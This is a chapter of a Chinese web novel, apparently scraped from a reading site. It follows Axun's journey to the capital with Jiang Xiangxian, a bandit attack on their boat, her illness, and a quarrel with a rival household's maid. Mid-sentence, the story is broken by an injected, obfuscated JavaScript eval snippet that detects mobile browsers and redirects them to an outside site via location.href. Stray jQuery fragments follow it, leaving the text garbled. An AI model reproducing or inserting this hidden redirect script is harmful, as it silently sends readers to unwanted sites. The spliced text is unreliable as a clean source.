32. 第 32 章

作品:《魂穿反派失忆姐姐

    阿薰接过姜相弦的茶水。


    “我没哭,你听错了吧,我刚才一直在睡觉。”


    她是真有满腹怨气,并不是装得满腹怨气,所以一路上的郁闷不是做给谁看的。


    姜相弦看她仰头喝水,又用袖子擦擦下巴。此时阿薰的脸,还是书中小丑女的样子,手腕上的雀舌珠是封存容貌的禁制。


    你本来的样貌如何?


    心底传来这样一道声音。


    那年姜薰恢复容貌时,他已经瞎了。


    阿薰发现了姜相弦的注视,有些疑惑地和他对视,见他还在放空,便加重了鼻音。


    姜相弦这才如梦初醒,将头扭过去。


    手背在后面,看山那面的红枫。


    “你的朋友不是想做生意么,为何不邀请她们去兆京,兆京发财的机会更多。”


    阿薰又给自己喂了口水。


    “不急,我先去视察,等市场调研得差不多了,我会让她们来的。”


    虽然有些词,姜相弦听得并不很懂,但能猜到一二。


    “可我并不认为,你能有时间去做什么……市场调研。”


    阿薰问为什么。


    姜相弦也不回答,抓着马鞭在树皮上拍打泥土,示意副官继续出发。


    白天赶路,夜里住客栈。


    阿薰也是沿着这一路走过的人,知道姜相弦每次给她安排的房间有多贵。


    住着住着,怨气都散了一半。


    谁叫金钱就是有这种作用。


    这半月的行程,走得非常顺利。


    眼看过一条江就要到兆京的卫星城,突然来了劫匪。


    船舷上,阿薰眼睁睁看见姜相弦下意识展臂,那是从前他召唤触手的标志性动作。


    颠倒境中,他的触手无所不及,分分钟贯穿敌人脑壳。


    剖心挖肝,好不血腥。


    然而此时,这动作显得多余又搞笑。


    对面劫匪以为要飞出暗器,连忙下蹲,结果无事发生。


    劫匪猖狂大笑着扑过去。


    谁知姜相弦拔剑的速度也很快,他的刀法走势诡异,无法预测,像落叶中游弋的毒蛇,一血封喉。


    阿薰的世界极快地褪去颜色。


    过了一会儿才扶着柱子站稳。


    她刚穿来这个世界时,在上帝视角看见姜薰被杀,也是这样的剑法。


    只是捅穿胸口的剑,是雪坛真人的残肢断臂。


    打斗声越来越近。


    派来保护阿薰的士兵也和劫匪缠斗了起来。


    眼看己方将士不敌,阿薰听副将的话,躲去粮仓。


    半路被四五个劫匪包围。


    阿薰显然无比缺乏应对这种突发事件的经验。


    她在各种抱头鼠窜、蛇皮走位后,还是不慎掉进了河里。


    船本就在浪里翻得剧烈,一个更大的浪打上来,就带走了阿薰。


    姜相弦反手持刀,往那扑上来的劫匪脖子一抹,血花飞溅中他刻不容缓,跳上船舷,又如一条灵活的黑鱼,跃入水中。


    一串细密的气泡中,他很快抓住了试图狗刨的阿薰。


    阿薰本以为自己要寄了。


    没想到获救得这么快。


    不过两分钟,就被姜相弦捞上了岸。


    船头甲板上,已经血流成河。


    她一睁眼,刚好看见一截白色的鱼尾窜进水里。


    “那是什么!”


    阿薰吓得大叫,她从未见过这种神秘生物出没的画面,又惊奇又害怕地指给姜相弦看。


    可显然姜相弦并没有看见。


    阿薰不罢休,又给他看地上的尸体:“这些伤口不像是人类武器所致,倒像是被什么啃咬。”


    阿薰想跟姜相弦证明神秘生物的存在,却被他强行推进房里。


    “你不冷么,把衣服换了。”


    随后把门给她关上,只听一阵脚步声,姜相弦已急速走远。


    擦身体时,阿薰才感觉到自己裤子上有血。


    起先以为是伤口,觉得自己要凉了。


    后来才发现是来例假了。


    她手忙脚乱,花了点时间才处理好一切。


    以为万事大吉。


    到了夜里,她腹痛难忍。


    阿薰本想咬牙挺过去的,结果疼得在床上半昏迷,发现她的丫鬟急冲冲地昭告天下,说小姐快没气儿了。


    一群男人围进屋子,结果军医诊了半天,隐晦暗示姜相弦,小姐这是痛经。


    姜相弦看向地面,眼前还跪着一群主动来请罪的军士。


    因护卫不力导致小姐受伤,按军法要要问责的。


    “先出去吧。”


    护卫们这才背着荆条,不明所以地离开。


    阿薰又是愧疚,又是窘迫。


    情绪一低,腹中再次撕扯地疼起来。


    第一天,冰水浸泡,风寒,buff叠满。


    “有没有什么办法,让她别这么疼。”


    姜相弦问出阿薰一直想问,但没力气问的话。


    军医点头说有。


    肚脐下四指处穴位,摁得阿薰疼出青筋。


    姜相弦蹙着眉,没说话,在旁边伫立着。


    阿薰忍过强烈的按压痛楚,发现自己好像全身都通了。


    “好多了……谢谢您。”


    姜相弦这时也松了眉头。


    随侍的丫鬟跟出去,“大夫,小姐是否还需要继续调理?”


    房间里只剩阿薰和姜相弦时,阿薰把被子往头上一蒙,试图自欺欺人地把两人隔开。


    被子被一只手扯开。


    “不闷么?”


    阿薰用一只手假装抠脸,实则遮掩。


    遮多少是多少。


    姜相弦撩袍在她床头坐下。


    “有件事我很好奇,你当时到底是怎么飞出去的。”


    阿薰虚弱无力地发出声音。


    “我不会飞啊?”


    “既然不会飞,为什么会窜进水底?”


    阿薰终于知道姜相弦是故意拿她开涮。


    她瞪了一眼,然后开始赶人。


    “你很闲么?劫匪的事情不用调查?船舱不用修缮?你不睡觉么?”


    姜相弦仿佛没听进耳朵里。


    把阿薰的房间当成自己的一样,竟然往后躺了下来。


    阿薰急忙用脚蹬他:“你干什么,出去出去!”


    姜相弦一手抓住她的脚,往脚心重重一摁,动作中分明带了恶趣。


    “军医刚才说,这个穴位也很管用。”


    阿薰又疼又痒,给姜相弦好一顿乱蹬乱踹,扑腾得像一只兔子。


    同时脑海中浮现出在颠倒境时的种种,又羞又恼。


    姜相弦是知道阿薰的脚心是她的死穴,从前按着的时候,阿薰把脸陷进枕头,难受得想死的心都有。那晚偏偏撞破了怪物夫君的秘密,惊魂未定的阿薰,知道这是姜相弦的试探,在他手底下只能忍着不哭出来,委屈得心尖都绞成一块。


    他分明知道她受不住,故意欺负她。


    “放开,不然我喊人了!”


    姜相弦停了手,似乎想起了别的什么。


    他一边把阿薰暖热了些许的脚,放进被子里。


    一边若有所思地说。


    “放在从前,他们连上船的机会都没有。”


    颠倒境的领主,盖世神通。


    随意幻化的一条龙蛇触手,都能在弹指间摧毁一座仙山。


    饶是如今的姜相弦,能熟练操纵剑意,完成万剑合一。


    比起从前毁天灭地的威风,也不过只是九牛一毛。


    他心中的落差感不言而喻。


    阿薰毫不顾忌姜相弦正处在忧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702020|140675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郁中,飞快往他胸口来了一脚。


    快速地完成报复,便蜷成一团装死。


    姜相弦捂着痛处,朝阿薰方向看了一眼。


    对方真是又菜又爱玩。


    这一脚踹得他几乎要吐血。


    白日里本就挨了劫匪一下,紫红色的淤青还未散去,这下又不知伤势如何。


    阿薰听见周围迟迟没有动静,机警地探出脑袋。


    结果看见姜相弦坐在床头,背对着,用手指挑开一点衣领,正在看自己的胸。


    阿薰不解,他为什么不回自己屋里欣赏胸肌?


    半夜下了一场大暴雨。


    总归是有惊无险地回到了兆京。


    姜相弦入城后,就去了皇宫,军队在城外安营扎寨,正等着与雷侯的军队汇合。


    阿薰从马车下来,换了一顶舒适的小轿,从雷侯府的正门抬进去。


    听闻阿薰回府,曼陀喜极而泣,几乎是跌跌撞撞地跑来接阿薰。


    “姑娘,您受苦了!”


    曼陀拉着十级社恐的阿薰一路进了小院。


    一面嘘寒问暖,一面又张罗十几个小厮和丫鬟,给阿薰准备沐浴和吃食。


    曼陀,简直机灵得有点让阿薰不太习惯。


    她自然说的是真人曼陀,而不是那个一着急,就嗡嗡嗡的果蝇曼陀。


    阿薰沐浴后,坐在床上翻来覆去睡不着。


    她实在饿急了。


    可又不好去催。


    正在这时,听到扫洒的小丫鬟在廊前议论。


    “六姑娘的丫鬟梅香,又和曼陀姐姐争起来了。”


    “太过分了,之前就欺负我们院子。那个六姑娘骄横跋扈,什么都跟薰姑娘抢,仗着我们姑娘不在这一年,更是明着来了。”


    “曼陀姐姐不像是冲动的人,怎么也吵起来了?”


    “兔子急了还咬人呢。薰姑娘这才刚回来,六姑娘就旁若无人地抢东西。明显就是故意的,想让咱们姑娘难受,觉得侯府不欢迎她呢。我们姑娘本就是个爱多想的。”


    阿薰蹲在墙根,越听越生气。


    代入感极强,已经火冒三丈了。


    她撸起袖子就冲了出去。


    一跨出院子,果然听见了吵闹声。


    名叫梅香的丫鬟,提着装了狮头鹅的小竹匣,梗着脖子对曼陀好不嚣张。


    曼陀太讲道理,完全就是处于下风。


    阿薰正处于内分泌失调阶段,肝火旺到能炼出一颗丹药。


    梅香正说着:“你们姑娘爱吃,我们姑娘难道就不爱吃了吗?况且一盘鹅肉而已,曼陀姐姐用不着这么小题大做吧。”


    “今天你敢抢了我一盘鹅肉,明天就敢砸了我们院子。既然你敢砸我的院子,那我也得砸了你们的院子。”


    “你再敢跟我说一遍……”


    梅香一转头,看见阿薰就站着背后。


    她登时脸色白了一下,但很快想起姜薰在这个家并没有什么存在感,又恢复了刚才的嚣张。


    “薰姑娘言重了。”


    “不言重。曼陀,走,跟我抄家伙去。”


    “是!”


    梅香提着鹅肉愣在原地,一时间还没有理清,事情怎么就快进到砸院上了。


    阿薰气势汹汹地回到院子。


    曼陀看她召集人马,寻找工具,发现事情闹大了。


    “姑娘,您该不会真的要砸了六姑娘的院子吧。”


    阿薰说:“你去把他们从前抢我们的东西罗列一份清单。”


    曼陀傻眼。


    见阿薰势在必行,她心中一急,上前规劝:“不如等侯爷,小侯爷回来,再说与他们听?”


    阿薰心想,那可不行。


    本来就是要给姜相弦一个惊喜的。


    得让他知道,他强行带她回来,是做了一个多么错误的决定。